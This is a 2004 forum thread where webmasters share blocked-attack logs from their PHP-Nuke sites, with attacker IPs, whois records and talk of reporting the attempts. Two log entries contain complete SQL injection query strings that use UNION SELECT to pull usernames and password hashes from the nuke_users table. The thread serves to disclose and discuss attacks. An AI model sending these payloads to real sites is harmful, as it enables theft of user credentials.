Two in a day. =)

djw2 · Posted: Tue Jun 08, 2004 3:36 pm

Hey,

I don't really know what to do with these... other than report them, which I have. I just figured I'd let everybody see 'em.

Here's the first one.

Quote:

Date & Time: 2004-06-08 15:19:14
Blocked IP: 62.113.89.20
User ID: (1)
Reason: Abuse - UNION
--------------------
User Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Query String: ***********.net/modules.php?name=Downloads&d_op=viewdownload&cid=-1%20UNION%20SELECT%20user_id,%20username,%20user_password%20FROM%20nuke_users/*
Forwarded For: 62.113.89.20
Client IP: none
Remote Address: 62.113.89.62
Remote Port: 37246
Request Method: GET
--------------------
Who-Is for IP
62.113.89.20

Then this one came about 15 minutes later.

Quote:

Date & Time: 2004-06-08 16:52:21
Blocked IP: 217.107.19.86
User ID: (1)
Reason: Abuse - CLIKE
--------------------
User Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.10 [ru]
Query String: ***********.net/modules.php?name=Downloads&d_op=viewdownload&cid=1UNION%20SELECT%20user_id,%20username,%20user_password%20FROM%20nuke_users/*
Forwarded For: 217.107.19.86
Client IP: none
Remote Address: 62.42.228.6
Remote Port: 16890
Request Method: GET
--------------------
Who-Is for IP
217.107.19.86

Like I said... I don't really know what to do with them. I looked 'em up through the whois and reported them to the security email addresses. I recieved auto responders so... I guess that's it huh?

Thanks,

Dan

*NOTE -- I edited the website out because it was a link and I didn't want anyone to accidentally click in to the PC Killer. Wink

That would suck.

sixonetonoffun · Posted: Tue Jun 08, 2004 3:47 pm

lmao good idea I could just see google go through and ...

jamesmc · New Member Joined: Dec 22, 2003 Posts: 21

Here's a cracker.. caught today.

Code:

Date & Time: 2004-06-11 10:34:29
Blocked IP: 200.175.183.133
User ID: Anonymous (1)
Reason: Abuse - AUTHORS
--------------------
User Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) Query String:

Only registered users can see links on this board!
Get registered or login to the forums!

Forwarded For: none
Client IP: none
Remote Address: 200.175.183.133
Remote Port: 3735
Request Method: GET
--------------------
Who-Is for IP
200.175.183.133

OrgName: Latin American and Caribbean IP address Regional Registry
OrgID: LACNIC
Address: Potosi 1517
City: Montevideo
StateProv:
PostalCode: 11500
Country: UY

ReferralServer: whois://whois.lacnic.net

NetRange: 200.0.0.0 - 200.255.255.255
CIDR: 200.0.0.0/8
NetName: LACNIC-200
NetHandle: NET-200-0-0-0-1
Parent:
NetType: Allocated to LACNIC
NameServer: NS.LACNIC.NET
NameServer: TINNIE.ARIN.NET
NameServer: NS-SEC.RIPE.NET
NameServer: SEC3.APNIC.NET
NameServer: NS2.DNS.BR
Comment: This IP address range is under LACNIC responsibility for further
Comment: allocations to users in LACNIC region.
Comment: Please see http://www.lacnic.net/ for further details, or check the
Comment: WHOIS server located at whois.lacnic.net
RegDate: 2002-07-27
Updated: 2004-03-18

TechHandle: LACNIC-ARIN
TechName: LACNIC Hostmaster
TechPhone: (+55) 11 5509-3522
TechEmail:

Only registered users can see links on this board!
Get registered or login to the forums!

OrgTechHandle: LACNIC-ARIN
OrgTechName: LACNIC Hostmaster
OrgTechPhone: (+55) 11 5509-3522
OrgTechEmail:

Only registered users can see links on this board!
Get registered or login to the forums!

ADMIN EDITED: Link

jamesmc · New Member Joined: Dec 22, 2003 Posts: 21

er.... thanks